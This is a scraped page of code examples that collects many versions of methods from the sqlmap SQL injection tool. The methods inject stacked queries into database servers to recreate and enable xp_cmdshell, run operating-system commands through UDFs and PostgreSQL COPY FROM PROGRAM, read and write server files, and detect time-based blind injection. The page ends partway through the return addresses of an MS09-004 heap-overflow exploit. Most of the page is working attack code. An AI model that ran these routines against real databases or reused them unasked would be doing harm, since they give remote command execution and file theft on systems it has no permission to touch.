Пример #1
0
    def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
        if conf.direct:
            output = self.xpCmdshellExecCmd(cmd)

            if output and isinstance(output, (list, tuple)):
                new_output = ""

                for line in output:
                    if line == "NULL":
                        new_output += "\n"
                    else:
                        new_output += "%s\n" % line.strip("\r")

                output = new_output
        else:
            inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
            query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
                output = inject.getValue(query, resumeValue=False, blind=False)
            else:
                output = []
                count = inject.getValue("SELECT COUNT(*) FROM %s" % self.cmdTblName, resumeValue=False, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                if isNumPosStrValue(count):
                    for index in getLimitRange(count):
                        query = agent.limitQuery(index, query, self.tblField)
                        output.append(inject.getValue(query, inband=False, error=False, resumeValue=False))
            inject.goStacked("DELETE FROM %s" % self.cmdTblName)

            if output and isListLike(output) and len(output) > 1:
                if not output[0].strip():
                    output = output[1:]
                elif not output[-1].strip():
                    output = output[:-1]

        return output
Пример #2
0
    def checkDbmsOs(self, detailed=False):
        if kb.os:
            return

        infoMsg = "fingerprinting the back-end DBMS operating system"
        logger.info(infoMsg)

        self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))

        # Windows executables should always have ' Visual C++' or ' mingw'
        # patterns within the banner
        osWindows = ( " Visual C++", "mingw" )

        for osPattern in osWindows:
            query  = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%" + osPattern + "%')>0"
            query  = agent.forgeCaseStatement(query)

            if inject.getValue(query, charsetType=1, suppressOutput=True) == "1":
                kb.os = "Windows"

                break

        if kb.os is None:
            kb.os = "Linux"

        infoMsg = "the back-end DBMS operating system is %s" % kb.os
        logger.info(infoMsg)

        self.cleanup(onlyFileTbl=True)
Пример #3
0
    def checkDbmsOs(self, detailed=False):
        if Backend.getOs():
            return

        infoMsg = "fingerprinting the back-end DBMS operating system"
        logger.info(infoMsg)

        self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
        inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))

        # Windows executables should always have ' Visual C++' or ' mingw'
        # patterns within the banner
        osWindows = (" Visual C++", "mingw")

        for osPattern in osWindows:
            query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
            query += "LIKE '%" + osPattern + "%')>0"

            if inject.checkBooleanExpression(query):
                Backend.setOs(OS.WINDOWS)

                break

        if Backend.getOs() is None:
            Backend.setOs(OS.LINUX)

        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
        logger.info(infoMsg)

        self.cleanup(onlyFileTbl=True)
Пример #4
0
    def __xpCmdshellConfigure(self, mode):
        if kb.dbmsVersion[0] in ( "2005", "2008" ):
            cmd = self.__xpCmdshellConfigure2005(mode)
        else:
            cmd = self.__xpCmdshellConfigure2000(mode)

        inject.goStacked(cmd)
Пример #5
0
    def __xpCmdshellCreate(self):
        cmd = ""

        if Backend.isVersionWithin(("2005", "2008")):
            logger.debug("activating sp_OACreate")

            cmd += "EXEC master..sp_configure 'show advanced options', 1; "
            cmd += "RECONFIGURE WITH OVERRIDE; "
            cmd += "EXEC master..sp_configure 'ole automation procedures', 1; "
            cmd += "RECONFIGURE WITH OVERRIDE; "
            inject.goStacked(cmd)

        self.__randStr = randomStr(lowercase=True)

        cmd += "DECLARE @%s nvarchar(999); " % self.__randStr
        cmd += "set @%s='" % self.__randStr
        cmd += "CREATE PROCEDURE xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int "
        cmd += "EXEC sp_OACreate ''WScript.Shell'', @ID OUT "
        cmd += "EXEC sp_OAMethod @ID, ''Run'', Null, @cmd, 0, 1 "
        cmd += "EXEC sp_OADestroy @ID'; "
        cmd += "EXEC master..sp_executesql @%s;" % self.__randStr

        if Backend.isVersionWithin(("2005", "2008")):
            cmd += " RECONFIGURE WITH OVERRIDE;"

        inject.goStacked(cmd)
Пример #6
0
    def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
        debugMsg = "creating a support table to write the hexadecimal "
        debugMsg += "encoded file to"
        logger.debug(debugMsg)

        self.createSupportTbl(self.fileTblName, self.tblField, "longblob")

        logger.debug("encoding file to its hexadecimal string value")
        fcEncodedList = self.fileEncode(wFile, "hex", False)

        debugMsg = "forging SQL statements to write the hexadecimal "
        debugMsg += "encoded file to the support table"
        logger.debug(debugMsg)

        sqlQueries = self.fileToSqlQueries(fcEncodedList)

        logger.debug("inserting the hexadecimal encoded file to the support table")

        for sqlQuery in sqlQueries:
            inject.goStacked(sqlQuery)

        debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
        logger.debug(debugMsg)

        # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
        inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)

        return self.askCheckWrittenFile(wFile, dFile, forceCheck)
Пример #7
0
    def __xpCmdshellConfigure(self, mode):
        if Backend.isVersionWithin(("2005", "2008")):
            cmd = self.__xpCmdshellConfigure2005(mode)
        else:
            cmd = self.__xpCmdshellConfigure2000(mode)

        inject.goStacked(agent.runAsDBMSUser(cmd))
Пример #8
0
    def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
        if udfName is None:
            udfName = "sys_eval"

        if conf.direct:
            output = self.udfExecCmd(cmd, udfName=udfName)

            if output and isinstance(output, (list, tuple)):
                new_output = ""

                for line in output:
                    new_output += line.replace("\r", "\n")

                output = new_output
        else:
            cmd = unescaper.escape(self.udfForgeCmd(cmd))

            inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
            output = unArrayizeValue(
                inject.getValue(
                    "SELECT %s FROM %s" % (self.tblField, self.cmdTblName),
                    resumeValue=False,
                    firstChar=first,
                    lastChar=last,
                    safeCharEncode=False,
                )
            )
            inject.goStacked("DELETE FROM %s" % self.cmdTblName)

        return output
Пример #9
0
    def _xpCmdshellCreate(self):
        cmd = ""

        if not Backend.isVersionWithin(("2000", )):
            logger.debug("activating sp_OACreate")

            cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
            inject.goStacked(agent.runAsDBMSUser(cmd))

        self._randStr = randomStr(lowercase=True)
        self.xpCmdshellStr = "master..new_xp_cmdshell"

        cmd = getSQLSnippet(DBMS.MSSQL,
                            "create_new_xp_cmdshell",
                            RANDSTR=self._randStr)

        if not Backend.isVersionWithin(("2000", )):
            cmd += ";RECONFIGURE WITH OVERRIDE"

        inject.goStacked(agent.runAsDBMSUser(cmd))
Пример #10
0
    def sqlQuery(self, query):
        output = None
        sqlType = None
        query = query.rstrip(';')

        try:
            for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
                for sqlStatement in sqlStatements:
                    if query.lower().startswith(sqlStatement):
                        sqlType = sqlTitle
                        break

            if not any(_ in query.upper() for _ in ("OPENROWSET", "INTO")) and (not sqlType or "SELECT" in sqlType):
                infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query)
                logger.info(infoMsg)

                output = inject.getValue(query, fromUser=True)

                return output
            elif not isStackingAvailable() and not conf.direct:
                    warnMsg = "execution of non-query SQL statements is only "
                    warnMsg += "available when stacked queries are supported"
                    logger.warn(warnMsg)

                    return None
            else:
                if sqlType:
                    debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query)
                else:
                    debugMsg = "executing unknown SQL type query: '%s'" % query
                logger.debug(debugMsg)

                inject.goStacked(query)

                debugMsg = "done"
                logger.debug(debugMsg)

                output = NULL

        except SqlmapNoneDataException, ex:
            logger.warn(ex)
Пример #11
0
    def createSupportTbl(self, tblName, tblField, tblType):
        inject.goStacked("DROP TABLE %s" % tblName, silent=True)

        if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName:
            inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s)" % (tblName, tblField, tblType))
        else:
            inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
Пример #12
0
    def stackedReadFile(self, rFile):
        infoMsg = "fetching file: '%s'" % rFile
        logger.info(infoMsg)

        self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
        self.getRemoteTempPath()

        tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))

        debugMsg  = "saving hexadecimal encoded content of file '%s' " % rFile
        debugMsg += "into temporary file '%s'" % tmpFile
        logger.debug(debugMsg)
        inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))

        debugMsg  = "loading the content of hexadecimal encoded file "
        debugMsg += "'%s' into support table" % rFile
        logger.debug(debugMsg)
        inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))

        length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)

        if length is None or not length.isdigit() or not len(length) or length in ( "0", "1" ):
            errMsg  = "unable to retrieve the content of the "
            errMsg += "file '%s'" % rFile
            raise sqlmapNoneDataException, errMsg

        length   = int(length)
        sustrLen = 1024

        if length > sustrLen:
            result = []

            for i in range(1, length, sustrLen):
                chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3)

                result.append(chunk)
        else:
            result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)

        return result
Пример #13
0
    def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
        debugMsg = "creating a support table to write the hexadecimal "
        debugMsg += "encoded file to"
        logger.debug(debugMsg)

        self.createSupportTbl(self.fileTblName, self.tblField, "longblob")

        logger.debug("encoding file to its hexadecimal string value")
        fcEncodedList = self.fileEncode(localFile, "hex", False)

        debugMsg = "forging SQL statements to write the hexadecimal "
        debugMsg += "encoded file to the support table"
        logger.debug(debugMsg)

        sqlQueries = self.fileToSqlQueries(fcEncodedList)

        logger.debug("inserting the hexadecimal encoded file to the support table")

        inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024))  # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)

        for sqlQuery in sqlQueries:
            inject.goStacked(sqlQuery)

        debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
        logger.debug(debugMsg)

        # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
        inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)

        return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
Пример #14
0
    def copyExecCmd(self, cmd):
        output = None

        if isStackingAvailable():
            # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
            self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
            self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName,
                                                              self.tblField)
            self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (
                self.cmdTblName, cmd.replace("'", "''"))
            inject.goStacked(self._forgedCmd)

            query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
            output = inject.getValue(query, resumeValue=False)

            if isListLike(output):
                output = os.linesep.join(output)

            self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
            inject.goStacked(self._cleanupCmd)

        return output
Пример #15
0
    def _xpCmdshellCreate(self):
        cmd = ""

        if Backend.isVersionWithin(("2005", "2008")):
            logger.debug("activating sp_OACreate")

            cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
            inject.goStacked(agent.runAsDBMSUser(cmd))

        self._randStr = randomStr(lowercase=True)
        self._xpCmdshellNew = "xp_%s" % randomStr(lowercase=True)
        self.xpCmdshellStr = "master..%s" % self._xpCmdshellNew

        cmd = getSQLSnippet(DBMS.MSSQL,
                            "create_new_xp_cmdshell",
                            RANDSTR=self._randStr,
                            XP_CMDSHELL_NEW=self._xpCmdshellNew)

        if Backend.isVersionWithin(("2005", "2008")):
            cmd += ";RECONFIGURE WITH OVERRIDE"

        inject.goStacked(agent.runAsDBMSUser(cmd))
Пример #16
0
    def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
        if udfName is None:
            udfName = "sys_eval"

        if conf.direct:
            output = self.udfExecCmd(cmd, udfName=udfName)

            if output and isinstance(output, (list, tuple)):
                new_output = ""

                for line in output:
                    new_output += line.replace("\r", "\n")

                output = new_output
        else:
            cmd = unescaper.escape(self.udfForgeCmd(cmd))

            inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
            output = unArrayizeValue(inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False))
            inject.goStacked("DELETE FROM %s" % self.cmdTblName)

        return output
Пример #17
0
    def _initRunAs(self):
        if not conf.dbmsCred:
            return

        if not conf.direct and not isStackingAvailable():
            errMsg = "stacked queries are not supported hence sqlmap cannot "
            errMsg += "execute statements as another user. The execution "
            errMsg += "will continue and the DBMS credentials provided "
            errMsg += "will simply be ignored"
            logger.error(errMsg)

            return

        if Backend.isDbms(DBMS.MSSQL):
            msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function "
            msg += "is disabled by default. This function is needed to execute "
            msg += "statements as another DBMS user since you provided the "
            msg += "option '--dbms-creds'. If you are DBA, you can enable it. "
            msg += "Do you want to enable it? [Y/n] "

            if readInput(msg, default='Y', boolean=True):
                expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
                inject.goStacked(expression)
Пример #18
0
    def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
        if udfName is None:
            cmd = "'%s'" % cmd
            udfName = "sys_eval"

        cmd = unescaper.unescape(cmd)

        inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" %
                         (self.cmdTblName, self.tblField, udfName, cmd))
        output = inject.getValue("SELECT %s FROM %s" %
                                 (self.tblField, self.cmdTblName),
                                 resumeValue=False,
                                 firstChar=first,
                                 lastChar=last)
        inject.goStacked("DELETE FROM %s" % self.cmdTblName)

        if output and isinstance(output, (list, tuple)):
            output = output[0]

            if output and isinstance(output, (list, tuple)):
                output = output[0]

        return output
Пример #19
0
    def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
        output = None

        if conf.direct:
            output = self.xpCmdshellExecCmd(cmd)

            if output and isinstance(output, (list, tuple)):
                new_output = ""

                for line in output:
                    if line == "NULL":
                        new_output += "\n"
                    else:
                        new_output += "%s\n" % line.strip("\r")

                output = new_output
        else:
            inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))

            # When user provides DBMS credentials (with --dbms-cred), the
            # command standard output is redirected to a temporary file
            # The file needs to be copied to the support table,
            # 'sqlmapoutput'
            if conf.dbmsCred:
                inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
                self.delRemoteFile(self.tmpFile)

            query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName)

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                output = inject.getValue(query, resumeValue=False, blind=False, time=False)

            if (output is None) or len(output)==0 or output[0] is None:
                output = []
                count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if isNumPosStrValue(count):
                    for index in getLimitRange(count):
                        query = agent.limitQuery(index, query, self.tblField)
                        output.append(inject.getValue(query, union=False, error=False, resumeValue=False))

            inject.goStacked("DELETE FROM %s" % self.cmdTblName)

            if output and isListLike(output) and len(output) > 1:
                _ = ""
                lines = [line for line in flattenValue(output) if line is not None]

                for i in xrange(len(lines)):
                    line = lines[i] or ""
                    if line is None or i in (0, len(lines) - 1) and not line.strip():
                        continue
                    _ += "%s\n" % line

                output = _.rstrip('\n')

        return output
Пример #20
0
def timeTest():
    infoMsg = "testing time based blind sql injection on parameter "
    infoMsg += "'%s' with AND condition syntax" % kb.injParameter
    logger.info(infoMsg)

    timeQuery = queries[kb.dbms].timedelay % SECONDS

    query = agent.prefixQuery(" AND %s" % timeQuery)
    query = agent.postfixQuery(query)
    payload = agent.payload(newValue=query)
    start = time.time()
    _ = Request.queryPage(payload)
    duration = int(time.time() - start)

    if duration >= SECONDS:
        infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
        infoMsg += "based blind sql injection with AND condition syntax"
        logger.info(infoMsg)

        kb.timeTest = payload

    else:
        warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
        warnMsg += "based blind sql injection with AND condition syntax"
        logger.warn(warnMsg)

        infoMsg = "testing time based blind sql injection on parameter "
        infoMsg += "'%s' with stacked query syntax" % kb.injParameter
        logger.info(infoMsg)

        start = time.time()
        payload, _ = inject.goStacked(timeQuery)
        duration = int(time.time() - start)

        if duration >= SECONDS:
            infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
            infoMsg += "based blind sql injection with stacked query syntax"
            logger.info(infoMsg)

            kb.timeTest = payload
        else:
            warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
            warnMsg += "based blind sql injection with stacked query syntax"
            logger.warn(warnMsg)

            kb.timeTest = False

    return kb.timeTest
Пример #21
0
    def stackedWriteFile(self,
                         localFile,
                         remoteFile,
                         fileType=None,
                         forceCheck=False):
        funcName = randomStr()
        max_bytes = 1024 * 1024

        debugMsg = "creating JLP procedure '%s'" % funcName
        logger.debug(debugMsg)

        addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (
            funcName, max_bytes)
        addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
        addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
        inject.goStacked(addFuncQuery)

        fcEncodedList = self.fileEncode(localFile, "hex", True)
        fcEncodedStr = fcEncodedList[0][2:]
        fcEncodedStrLen = len(fcEncodedStr)

        if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
            warnMsg = "as the injection is on a GET parameter and the file "
            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
            warnMsg += "bytes, this might cause errors in the file "
            warnMsg += "writing process"
            logger.warn(warnMsg)

        debugMsg = "exporting the %s file content to file '%s'" % (fileType,
                                                                   remoteFile)
        logger.debug(debugMsg)

        # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
        invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (
            funcName, remoteFile, fcEncodedStr, max_bytes)
        inject.goStacked(invokeQuery)

        logger.debug("cleaning up" % funcName)
        delQuery = "DELETE PROCEDURE %s" % funcName
        inject.goStacked(delQuery)

        message = "the local file '%s' has been written on the back-end DBMS" % localFile
        message += "file system ('%s')" % remoteFile
        logger.info(message)
Пример #22
0
    def _checkFileLength(self, localFile, remoteFile, fileRead=False):
        if Backend.isDbms(DBMS.MYSQL):
            lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile

        elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
            lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid

        elif Backend.isDbms(DBMS.MSSQL):
            self.createSupportTbl(self.fileTblName, self.tblField,
                                  "VARBINARY(MAX)")
            inject.goStacked(
                "INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)"
                % (self.fileTblName, self.tblField, self.tblField, remoteFile,
                   self.fileTblName, self.tblField))

            lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField,
                                                             self.fileTblName)

        try:
            localFileSize = os.path.getsize(localFile)
        except OSError:
            warnMsg = "file '%s' is missing" % localFile
            logger.warn(warnMsg)
            localFileSize = 0

        if fileRead and Backend.isDbms(DBMS.PGSQL):
            logger.info(
                "length of read file '%s' cannot be checked on PostgreSQL" %
                remoteFile)
            sameFile = True
        else:
            logger.debug("checking the length of the remote file '%s'" %
                         remoteFile)
            remoteFileSize = inject.getValue(lengthQuery,
                                             resumeValue=False,
                                             expected=EXPECTED.INT,
                                             charsetType=CHARSET_TYPE.DIGITS)
            sameFile = None

            if isNumPosStrValue(remoteFileSize):
                remoteFileSize = int(remoteFileSize)
                localFile = getUnicode(localFile,
                                       encoding=sys.getfilesystemencoding()
                                       or UNICODE_ENCODING)
                sameFile = False

                if localFileSize == remoteFileSize:
                    sameFile = True
                    infoMsg = "the local file '%s' and the remote file " % localFile
                    infoMsg += "'%s' have the same size (%d B)" % (
                        remoteFile, localFileSize)
                elif remoteFileSize > localFileSize:
                    infoMsg = "the remote file '%s' is larger (%d B) than " % (
                        remoteFile, remoteFileSize)
                    infoMsg += "the local file '%s' (%dB)" % (localFile,
                                                              localFileSize)
                else:
                    infoMsg = "the remote file '%s' is smaller (%d B) than " % (
                        remoteFile, remoteFileSize)
                    infoMsg += "file '%s' (%d B)" % (localFile, localFileSize)

                logger.info(infoMsg)
            else:
                sameFile = False
                warnMsg = "it looks like the file has not been written (usually "
                warnMsg += "occurs if the DBMS process user has no write "
                warnMsg += "privileges in the destination path)"
                logger.warn(warnMsg)

        return sameFile
Пример #23
0
    def stackedReadFile(self, remoteFile):
        if not kb.bruteMode:
            infoMsg = "fetching file: '%s'" % remoteFile
            logger.info(infoMsg)

        self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
        self.getRemoteTempPath()

        tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))

        debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
        debugMsg += "into temporary file '%s'" % tmpFile
        logger.debug(debugMsg)
        inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" %
                         (remoteFile, tmpFile))

        debugMsg = "loading the content of hexadecimal encoded file "
        debugMsg += "'%s' into support table" % remoteFile
        logger.debug(debugMsg)
        inject.goStacked(
            "LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)"
            % (tmpFile, self.fileTblName, randomStr(10), self.tblField))

        length = inject.getValue("SELECT LENGTH(%s) FROM %s" %
                                 (self.tblField, self.fileTblName),
                                 resumeValue=False,
                                 expected=EXPECTED.INT,
                                 charsetType=CHARSET_TYPE.DIGITS)

        if not isNumPosStrValue(length):
            warnMsg = "unable to retrieve the content of the "
            warnMsg += "file '%s'" % remoteFile

            if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                if not kb.bruteMode:
                    warnMsg += ", going to fall-back to simpler UNION technique"
                    logger.warn(warnMsg)
                result = self.nonStackedReadFile(remoteFile)
            else:
                raise SqlmapNoneDataException(warnMsg)
        else:
            length = int(length)
            chunkSize = 1024

            if length > chunkSize:
                result = []

                for i in xrange(1, length, chunkSize):
                    chunk = inject.getValue(
                        "SELECT MID(%s, %d, %d) FROM %s" %
                        (self.tblField, i, chunkSize, self.fileTblName),
                        unpack=False,
                        resumeValue=False,
                        charsetType=CHARSET_TYPE.HEXADECIMAL)
                    result.append(chunk)
            else:
                result = inject.getValue("SELECT %s FROM %s" %
                                         (self.tblField, self.fileTblName),
                                         resumeValue=False,
                                         charsetType=CHARSET_TYPE.HEXADECIMAL)

        return result
Пример #24
0
    def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
        if conf.direct:
            output = self.xpCmdshellExecCmd(cmd)

            if output and isinstance(output, (list, tuple)):
                new_output = ""

                for line in output:
                    if line == "NULL":
                        new_output += "\n"
                    else:
                        new_output += "%s\n" % line.strip("\r")

                output = new_output
        else:
            inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))

            # When user provides DBMS credentials (with --dbms-cred), the
            # command standard output is redirected to a temporary file
            # The file needs to be copied to the support table,
            # 'sqlmapoutput'
            if conf.dbmsCred:
                inject.goStacked(
                    "BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
                    % (self.cmdTblName, self.tmpFile, randomStr(10),
                       randomStr(10)))
                self.delRemoteFile(self.tmpFile)

            query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)

            if conf.direct or any(
                    isTechniqueAvailable(_)
                    for _ in (PAYLOAD.TECHNIQUE.UNION,
                              PAYLOAD.TECHNIQUE.ERROR)):
                output = inject.getValue(query, resumeValue=False, blind=False)
            else:
                output = []
                count = inject.getValue("SELECT COUNT(*) FROM %s" %
                                        self.cmdTblName,
                                        resumeValue=False,
                                        inband=False,
                                        error=False,
                                        expected=EXPECTED.INT,
                                        charsetType=CHARSET_TYPE.DIGITS)

                if isNumPosStrValue(count):
                    for index in getLimitRange(count):
                        query = agent.limitQuery(index, query, self.tblField)
                        output.append(
                            inject.getValue(query,
                                            inband=False,
                                            error=False,
                                            resumeValue=False))

            inject.goStacked("DELETE FROM %s" % self.cmdTblName)

            if output and isListLike(output) and len(output) > 1:
                if not (output[0] or "").strip():
                    output = output[1:]
                elif not (output[-1] or "").strip():
                    output = output[:-1]

                output = "\n".join(line for line in filter(None, output))

        return output
Пример #25
0
    def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
        wFileSize = os.path.getsize(wFile)
        content = open(wFile, "rb").read()

        self.oid = randomInt()
        self.page = 0

        self.createSupportTbl(self.fileTblName, self.tblField, "text")

        debugMsg = "create a new OID for a large object, it implicitly "
        debugMsg += "adds an entry in the large objects system table"
        logger.debug(debugMsg)

        # References:
        # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
        # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html

        inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
        inject.goStacked("SELECT lo_create(%d)" % self.oid)
        inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid)

        for offset in xrange(0, wFileSize, LOBLKSIZE):
            fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False)
            sqlQueries = self.fileToSqlQueries(fcEncodedList)

            for sqlQuery in sqlQueries:
                inject.goStacked(sqlQuery)

            inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName))
            inject.goStacked("DELETE FROM %s" % self.fileTblName)

            self.page += 1

        debugMsg = "exporting the OID %s file content to " % fileType
        debugMsg += "file '%s'" % dFile
        logger.debug(debugMsg)

        inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)

        written = self.askCheckWrittenFile(wFile, dFile, forceCheck)

        inject.goStacked("SELECT lo_unlink(%d)" % self.oid)

        return written
Пример #26
0
    def spHeapOverflow(self):
        """
        References:
        * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx
        * http://support.microsoft.com/kb/959420
        """

        returns = {
            # 2003 Service Pack 0
            "2003-0": (""),

            # 2003 Service Pack 1
            "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)",
                       "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)",
                       "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)",
                       "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)",
                       "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)",
                       "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)",
                       "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)",
                       "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"),

            # 2003 Service Pack 2 updated at 12/2008
            # "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),

            # 2003 Service Pack 2 updated at 05/2009
            "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)",
                       "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)",
